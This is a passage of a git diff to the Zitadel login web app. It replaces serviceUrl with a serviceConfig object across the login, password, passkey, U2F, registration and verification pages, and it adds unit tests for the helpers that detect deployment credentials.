+      await addOTPEmail({ serviceConfig, userId: session.factors.user.id,
       }).catch((_error) => {
         // TODO: Throw this error?
         new Error("Could not add OTP via Email");
diff --git a/apps/login/src/app/(login)/passkey/page.tsx b/apps/login/src/app/(login)/passkey/page.tsx
index 0165cb70f4c..a0b08e70970 100644
--- a/apps/login/src/app/(login)/passkey/page.tsx
+++ b/apps/login/src/app/(login)/passkey/page.tsx
@@ -4,7 +4,7 @@ import { LoginPasskey } from "@/components/login-passkey";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getSession } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -22,20 +22,16 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, altPassword, requestId, organization, sessionId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionFactors = sessionId
-    ? await loadSessionById(serviceUrl, sessionId, organization)
-    : await loadMostRecentSession({
-        serviceUrl,
-        sessionParams: { loginName, organization },
+    ? await loadSessionById(serviceConfig.baseUrl, sessionId, organization)
+    : await loadMostRecentSession({ serviceConfig, sessionParams: { loginName, organization },
       });
 
   async function loadSessionById(serviceUrl: string, sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
+    return getSession({ serviceConfig, sessionId: recent.id,
       sessionToken: recent.token,
     }).then((response) => {
       if (response?.session) {
@@ -44,9 +40,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
     });
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/passkey/set/page.tsx b/apps/login/src/app/(login)/passkey/set/page.tsx
index 99b10a8d199..29ed8a72071 100644
--- a/apps/login/src/app/(login)/passkey/set/page.tsx
+++ b/apps/login/src/app/(login)/passkey/set/page.tsx
@@ -3,7 +3,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { RegisterPasskey } from "@/components/register-passkey";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getUserByID } from "@/lib/zitadel";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
@@ -23,31 +23,25 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { userId, loginName, prompt, organization, requestId, code, codeId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   // also allow no session to be found for userId-based flows
   let session: Session | undefined;
   if (loginName) {
-    session = await loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    session = await loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
     });
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   let user: User | undefined;
   let displayName: string | undefined;
   if (userId) {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId,
+    const userResponse = await getUserByID({ serviceConfig, userId,
     });
     user = userResponse.user;
 
diff --git a/apps/login/src/app/(login)/password/change/page.tsx b/apps/login/src/app/(login)/password/change/page.tsx
index 38293932dd0..4567e61c413 100644
--- a/apps/login/src/app/(login)/password/change/page.tsx
+++ b/apps/login/src/app/(login)/password/change/page.tsx
@@ -3,7 +3,7 @@ import { ChangePasswordForm } from "@/components/change-password-form";
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getLoginSettings, getPasswordComplexitySettings } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -17,34 +17,26 @@ export async function generateMetadata(): Promise<Metadata> {
 
 export default async function Page(props: { searchParams: Promise<Record<string | number | symbol, string | undefined>> }) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const searchParams = await props.searchParams;
 
   const { loginName, organization, requestId } = searchParams;
 
   // also allow no session to be found (ignoreUnkownUsername)
-  const sessionFactors = await loadMostRecentSession({
-    serviceUrl,
-    sessionParams: {
+  const sessionFactors = await loadMostRecentSession({ serviceConfig, sessionParams: {
       loginName,
       organization,
     },
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const passwordComplexity = await getPasswordComplexitySettings({
-    serviceUrl,
-    organization: sessionFactors?.factors?.user?.organizationId,
+  const passwordComplexity = await getPasswordComplexitySettings({ serviceConfig, organization: sessionFactors?.factors?.user?.organizationId,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: sessionFactors?.factors?.user?.organizationId,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: sessionFactors?.factors?.user?.organizationId,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/password/page.tsx b/apps/login/src/app/(login)/password/page.tsx
index c016b32b3a0..3da584e2136 100644
--- a/apps/login/src/app/(login)/password/page.tsx
+++ b/apps/login/src/app/(login)/password/page.tsx
@@ -3,7 +3,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { PasswordForm } from "@/components/password-form";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getDefaultOrg, getLoginSettings } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
@@ -21,13 +21,11 @@ export default async function Page(props: { searchParams: Promise<Record<string
   let { loginName, organization, requestId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
 
     if (org) {
       defaultOrganization = org.id;
@@ -37,9 +35,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
   // also allow no session to be found (ignoreUnkownUsername)
   let sessionFactors;
   try {
-    sessionFactors = await loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    sessionFactors = await loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
@@ -49,13 +45,9 @@ export default async function Page(props: { searchParams: Promise<Record<string
     console.warn(error);
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/password/set/page.tsx b/apps/login/src/app/(login)/password/set/page.tsx
index 0708202862b..62d99cefc18 100644
--- a/apps/login/src/app/(login)/password/set/page.tsx
+++ b/apps/login/src/app/(login)/password/set/page.tsx
@@ -3,7 +3,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { SetPasswordForm } from "@/components/set-password-form";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getLoginSettings, getPasswordComplexitySettings, getUserByID } from "@/lib/zitadel";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
@@ -23,41 +23,31 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { userId, loginName, organization, requestId, code, initial } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   // also allow no session to be found (ignoreUnkownUsername)
   let session: Session | undefined;
   if (loginName) {
-    session = await loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    session = await loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
     });
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const passwordComplexity = await getPasswordComplexitySettings({
-    serviceUrl,
-    organization: session?.factors?.user?.organizationId,
+  const passwordComplexity = await getPasswordComplexitySettings({ serviceConfig, organization: session?.factors?.user?.organizationId,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
   let user: User | undefined;
   let displayName: string | undefined;
   if (userId) {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId,
+    const userResponse = await getUserByID({ serviceConfig, userId,
     });
     user = userResponse.user;
 
diff --git a/apps/login/src/app/(login)/register/page.tsx b/apps/login/src/app/(login)/register/page.tsx
index 58c1801b5b6..85d5e7195be 100644
--- a/apps/login/src/app/(login)/register/page.tsx
+++ b/apps/login/src/app/(login)/register/page.tsx
@@ -3,7 +3,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { RegisterForm } from "@/components/register-form";
 import { SignInWithIdp } from "@/components/sign-in-with-idp";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import {
   getActiveIdentityProviders,
   getBrandingSettings,
@@ -29,39 +29,27 @@ export default async function Page(props: { searchParams: Promise<Record<string
   let { firstname, lastname, email, organization, requestId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       organization = org.id;
     }
   }
 
-  const legal = await getLegalAndSupportSettings({
-    serviceUrl,
-    organization,
+  const legal = await getLegalAndSupportSettings({ serviceConfig, organization,
   });
-  const passwordComplexitySettings = await getPasswordComplexitySettings({
-    serviceUrl,
-    organization,
+  const passwordComplexitySettings = await getPasswordComplexitySettings({ serviceConfig, organization,
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
-  const identityProviders = await getActiveIdentityProviders({
-    serviceUrl,
-    orgId: organization,
+  const identityProviders = await getActiveIdentityProviders({ serviceConfig, orgId: organization,
   }).then((resp) => {
     return resp.identityProviders.filter((idp) => {
       return idp.options?.isAutoCreation || idp.options?.isCreationAllowed; // check if IDP allows to create account automatically or manual creation is allowed
diff --git a/apps/login/src/app/(login)/register/password/page.tsx b/apps/login/src/app/(login)/register/password/page.tsx
index 28f85c7865d..7c5cc3feb0d 100644
--- a/apps/login/src/app/(login)/register/password/page.tsx
+++ b/apps/login/src/app/(login)/register/password/page.tsx
@@ -1,7 +1,7 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { SetRegisterPasswordForm } from "@/components/set-register-password-form";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import {
   getBrandingSettings,
   getDefaultOrg,
@@ -18,12 +18,10 @@ export default async function Page(props: { searchParams: Promise<Record<string
   let { firstname, lastname, email, organization, requestId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       organization = org.id;
     }
@@ -31,23 +29,15 @@ export default async function Page(props: { searchParams: Promise<Record<string
 
   const missingData = !firstname || !lastname || !email || !organization;
 
-  const legal = await getLegalAndSupportSettings({
-    serviceUrl,
-    organization,
+  const legal = await getLegalAndSupportSettings({ serviceConfig, organization,
   });
-  const passwordComplexitySettings = await getPasswordComplexitySettings({
-    serviceUrl,
-    organization,
+  const passwordComplexitySettings = await getPasswordComplexitySettings({ serviceConfig, organization,
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
   return missingData ? (
diff --git a/apps/login/src/app/(login)/signedin/page.tsx b/apps/login/src/app/(login)/signedin/page.tsx
index fb97a48b646..7547e505872 100644
--- a/apps/login/src/app/(login)/signedin/page.tsx
+++ b/apps/login/src/app/(login)/signedin/page.tsx
@@ -5,9 +5,9 @@ import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getMostRecentCookieWithLoginname, getSessionCookieById } from "@/lib/cookies";
 import { completeDeviceAuthorization } from "@/lib/server/device";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
-import { getBrandingSettings, getLoginSettings, getSession } from "@/lib/zitadel";
+import { getBrandingSettings, getLoginSettings, getSession, ServiceConfig } from "@/lib/zitadel";
 import { Metadata } from "next";
 import { getTranslations } from "next-intl/server";
 import { headers } from "next/headers";
@@ -18,11 +18,9 @@ export async function generateMetadata(): Promise<Metadata> {
   return { title: t("title", { user: "" }) };
 }
 
-async function loadSessionById(serviceUrl: string, sessionId: string, organization?: string) {
+async function loadSessionById(serviceConfig: ServiceConfig, sessionId: string, organization?: string) {
   const recent = await getSessionCookieById({ sessionId, organization });
-  return getSession({
-    serviceUrl,
-    sessionId: recent.id,
+  return getSession({ serviceConfig, sessionId: recent.id,
     sessionToken: recent.token,
   }).then((response) => {
     if (response?.session) {
@@ -35,13 +33,11 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   const searchParams = await props.searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const { loginName, requestId, organization, sessionId } = searchParams;
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   // complete device authorization flow if device requestId is present
@@ -75,17 +71,13 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   }
 
   const sessionFactors = sessionId
-    ? await loadSessionById(serviceUrl, sessionId, organization)
-    : await loadMostRecentSession({
-        serviceUrl,
-        sessionParams: { loginName, organization },
+    ? await loadSessionById(serviceConfig, sessionId, organization)
+    : await loadMostRecentSession({ serviceConfig, sessionParams: { loginName, organization },
       });
 
   let loginSettings;
   if (!requestId) {
-    loginSettings = await getLoginSettings({
-      serviceUrl,
-      organization,
+    loginSettings = await getLoginSettings({ serviceConfig, organization,
     });
   }
 
diff --git a/apps/login/src/app/(login)/u2f/page.tsx b/apps/login/src/app/(login)/u2f/page.tsx
index 5ca5542b0f0..897f74473a8 100644
--- a/apps/login/src/app/(login)/u2f/page.tsx
+++ b/apps/login/src/app/(login)/u2f/page.tsx
@@ -4,7 +4,7 @@ import { LoginPasskey } from "@/components/login-passkey";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getSession } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -22,25 +22,19 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, requestId, sessionId, organization } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   const sessionFactors = sessionId
     ? await loadSessionById(sessionId, organization)
-    : await loadMostRecentSession({
-        serviceUrl,
-        sessionParams: { loginName, organization },
+    : await loadMostRecentSession({ serviceConfig, sessionParams: { loginName, organization },
       });
 
   async function loadSessionById(sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
+    return getSession({ serviceConfig, sessionId: recent.id,
       sessionToken: recent.token,
     }).then((response) => {
       if (response?.session) {
diff --git a/apps/login/src/app/(login)/u2f/set/page.tsx b/apps/login/src/app/(login)/u2f/set/page.tsx
index 8d25864d37a..1894f6dc0df 100644
--- a/apps/login/src/app/(login)/u2f/set/page.tsx
+++ b/apps/login/src/app/(login)/u2f/set/page.tsx
@@ -3,7 +3,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { RegisterU2f } from "@/components/register-u2f";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -21,19 +21,15 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, organization, requestId, checkAfter } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const sessionFactors = await loadMostRecentSession({
-    serviceUrl,
-    sessionParams: {
+  const sessionFactors = await loadMostRecentSession({ serviceConfig, sessionParams: {
       loginName,
       organization,
     },
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/verify/page.tsx b/apps/login/src/app/(login)/verify/page.tsx
index e45a71555d6..0d687e1ccfd 100644
--- a/apps/login/src/app/(login)/verify/page.tsx
+++ b/apps/login/src/app/(login)/verify/page.tsx
@@ -3,9 +3,9 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { VerifyForm } from "@/components/verify-form";
+import { getPublicHostWithProtocol } from "@/lib/server/host";
 import { sendEmailCode, sendInviteEmailCode } from "@/lib/server/verify";
-import { getOriginalHostWithProtocol } from "@/lib/server/host";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getUserByID } from "@/lib/zitadel";
 import { HumanUser, User } from "@zitadel/proto/zitadel/user/v2/user_pb";
@@ -24,12 +24,9 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   const { userId, loginName, code, organization, requestId, invite, send } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
-  });
+  const branding = await getBrandingSettings({ serviceConfig, organization });
 
   let sessionFactors;
   let user: User | undefined;
@@ -43,7 +40,7 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
   async function sendEmail(userId: string) {
-    const hostWithProtocol = await getOriginalHostWithProtocol();
+    const hostWithProtocol = await getPublicHostWithProtocol(_headers);
 
     if (invite === "true") {
       await sendInviteEmailCode({
@@ -70,7 +67,7 @@ export default async function Page(props: { searchParams: Promise<any> }) {
 
   if ("loginName" in searchParams) {
     sessionFactors = await loadMostRecentSession({
-      serviceUrl,
+      serviceConfig,
       sessionParams: {
         loginName,
         organization,
@@ -85,10 +82,7 @@ export default async function Page(props: { searchParams: Promise<any> }) {
       await sendEmail(userId);
     }
 
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId,
-    });
+    const userResponse = await getUserByID({ serviceConfig, userId });
     if (userResponse) {
       user = userResponse.user;
       if (user?.type.case === "human") {
diff --git a/apps/login/src/app/(login)/verify/success/page.tsx b/apps/login/src/app/(login)/verify/success/page.tsx
index 225169d3294..55e0006548b 100644
--- a/apps/login/src/app/(login)/verify/success/page.tsx
+++ b/apps/login/src/app/(login)/verify/success/page.tsx
@@ -1,7 +1,7 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getUserByID } from "@/lib/zitadel";
 import { HumanUser, User } from "@zitadel/proto/zitadel/user/v2/user_pb";
@@ -11,18 +11,14 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   const searchParams = await props.searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const { loginName, organization, userId } = searchParams;
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const sessionFactors = await loadMostRecentSession({
-    serviceUrl,
-    sessionParams: { loginName, organization },
+  const sessionFactors = await loadMostRecentSession({ serviceConfig, sessionParams: { loginName, organization },
   }).catch((error) => {
     console.warn("Error loading session:", error);
   });
@@ -33,9 +29,7 @@ export default async function Page(props: { searchParams: Promise<any> }) {
     throw Error("Failed to get user id");
   }
 
-  const userResponse = await getUserByID({
-    serviceUrl,
-    userId: id,
+  const userResponse = await getUserByID({ serviceConfig, userId: id,
   });
 
   let user: User | undefined;
diff --git a/apps/login/src/app/login/route.ts b/apps/login/src/app/login/route.ts
index ed61c43c3c3..3304c5e783a 100644
--- a/apps/login/src/app/login/route.ts
+++ b/apps/login/src/app/login/route.ts
@@ -1,8 +1,8 @@
 import { getAllSessions } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { validateAuthRequest, isRSCRequest } from "@/lib/auth-utils";
 import { handleOIDCFlowInitiation, handleSAMLFlowInitiation, FlowInitiationParams } from "@/lib/server/flow-initiation";
-import { listSessions } from "@/lib/zitadel";
+import { listSessions, ServiceConfig } from "@/lib/zitadel";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
 import { headers } from "next/headers";
 import { NextRequest, NextResponse } from "next/server";
@@ -13,18 +13,15 @@ export const fetchCache = "default-no-store";
 // Add this to prevent RSC requests
 export const runtime = "nodejs";
 
-async function loadSessions({ serviceUrl, ids }: { serviceUrl: string; ids: string[] }): Promise<Session[]> {
-  const response = await listSessions({
-    serviceUrl,
-    ids: ids.filter((id: string | undefined) => !!id),
-  });
+async function loadSessions({ serviceConfig, ids }: { serviceConfig: ServiceConfig; ids: string[] }): Promise<Session[]> {
+  const response = await listSessions({ serviceConfig, ids: ids.filter((id: string | undefined) => !!id) });
 
   return response?.sessions ?? [];
 }
 
 export async function GET(request: NextRequest) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const searchParams = request.nextUrl.searchParams;
 
@@ -43,17 +40,11 @@ export async function GET(request: NextRequest) {
   const ids = sessionCookies.map((s) => s.id);
   let sessions: Session[] = [];
   if (ids && ids.length) {
-    sessions = await loadSessions({ serviceUrl, ids });
+    sessions = await loadSessions({ serviceConfig, ids });
   }
 
   // Flow initiation - delegate to appropriate handler
-  const flowParams: FlowInitiationParams = {
-    serviceUrl,
-    requestId,
-    sessions,
-    sessionCookies,
-    request,
-  };
+  const flowParams: FlowInitiationParams = { serviceConfig, requestId, sessions, sessionCookies, request };
 
   if (requestId.startsWith("oidc_")) {
     return handleOIDCFlowInitiation(flowParams);
diff --git a/apps/login/src/app/security/route.ts b/apps/login/src/app/security/route.ts
index 4a2b6d48540..80ad072f6bc 100644
--- a/apps/login/src/app/security/route.ts
+++ b/apps/login/src/app/security/route.ts
@@ -1,5 +1,5 @@
 import { createServiceForHost } from "@/lib/service";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { Client } from "@zitadel/client";
 import { SettingsService } from "@zitadel/proto/zitadel/settings/v2/settings_service_pb";
 import { headers } from "next/headers";
@@ -7,10 +7,10 @@ import { NextResponse } from "next/server";
 
 export async function GET() {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const settingsService: Client<typeof SettingsService> =
-    await createServiceForHost(SettingsService, serviceUrl);
+    await createServiceForHost(SettingsService, serviceConfig);
 
   const settings = await settingsService
     .getSecuritySettings({})
diff --git a/apps/login/src/i18n/request.ts b/apps/login/src/i18n/request.ts
index 5ddf7da97c0..b0e824b5caf 100644
--- a/apps/login/src/i18n/request.ts
+++ b/apps/login/src/i18n/request.ts
@@ -1,5 +1,5 @@
 import { LANGS, LANGUAGE_COOKIE_NAME, LANGUAGE_HEADER_NAME } from "@/lib/i18n";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getHostedLoginTranslation } from "@/lib/zitadel";
 import { JsonObject } from "@zitadel/client";
 import deepmerge from "deepmerge";
@@ -13,7 +13,7 @@ export default getRequestConfig(async () => {
   let locale: string = fallback;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const languageHeader = await (await headers()).get(LANGUAGE_HEADER_NAME);
   if (languageHeader) {
@@ -34,9 +34,7 @@ export default getRequestConfig(async () => {
 
   let translations: JsonObject | {} = {};
   try {
-    const i18nJSON = await getHostedLoginTranslation({
-      serviceUrl,
-      locale,
+    const i18nJSON = await getHostedLoginTranslation({ serviceConfig, locale,
       organization: i18nOrganization,
     });
 
diff --git a/apps/login/src/lib/deployment.test.ts b/apps/login/src/lib/deployment.test.ts
new file mode 100644
index 00000000000..b8a7c288d72
--- /dev/null
+++ b/apps/login/src/lib/deployment.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, test, beforeEach, afterEach } from "vitest";
+import { hasSystemUserCredentials, hasServiceUserToken } from "./deployment";
+
+describe("Deployment utilities", () => {
+  const originalEnv = process.env;
+
+  beforeEach(() => {
+    // Reset environment before each test
+    process.env = { ...originalEnv };
+  });
+
+  afterEach(() => {
+    process.env = originalEnv;
+  });
+
+  describe("hasSystemUserCredentials", () => {
+    test("should return true when all system user credentials are present", () => {
+      process.env.AUDIENCE = "https://api.zitadel.cloud";
+      process.env.SYSTEM_USER_ID = "12345";
+      process.env.SYSTEM_USER_PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----\n...";
+
+      expect(hasSystemUserCredentials()).toBe(true);
+    });
+
+    test("should return false when AUDIENCE is missing", () => {
+      process.env.AUDIENCE = undefined as any;
+      process.env.SYSTEM_USER_ID = "12345";
+      process.env.SYSTEM_USER_PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----\n...";
+
+      expect(hasSystemUserCredentials()).toBe(false);
+    });
+
+    test("should return false when SYSTEM_USER_ID is missing", () => {
+      process.env.AUDIENCE = "https://api.zitadel.cloud";
+      process.env.SYSTEM_USER_ID = undefined as any;
+      process.env.SYSTEM_USER_PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----\n...";
+
+      expect(hasSystemUserCredentials()).toBe(false);
+    });
+
+    test("should return false when SYSTEM_USER_PRIVATE_KEY is missing", () => {
+      process.env.AUDIENCE = "https://api.zitadel.cloud";
+      process.env.SYSTEM_USER_ID = "12345";
+      process.env.SYSTEM_USER_PRIVATE_KEY = undefined as any;
+
+      expect(hasSystemUserCredentials()).toBe(false);
+    });
+
+    test("should return false when all credentials are missing", () => {
+      process.env.AUDIENCE = undefined as any;
+      process.env.SYSTEM_USER_ID = undefined as any;
+      process.env.SYSTEM_USER_PRIVATE_KEY = undefined as any;
+
+      expect(hasSystemUserCredentials()).toBe(false);
+    });
+  });
+
+  describe("hasServiceUserToken", () => {
+    test("should return true when ZITADEL_SERVICE_USER_TOKEN is present", () => {
+      process.env.ZITADEL_SERVICE_USER_TOKEN = "token123";
+
+      expect(hasServiceUserToken()).toBe(true);
+    });
+
+    test("should return false when ZITADEL_SERVICE_USER_TOKEN is not set", () => {
+      process.env.ZITADEL_SERVICE_USER_TOKEN = undefined as any;
+
+      expect(hasServiceUserToken()).toBe(false);
+    });
+
+    test("should return false when ZITADEL_SERVICE_USER_TOKEN is empty string", () => {
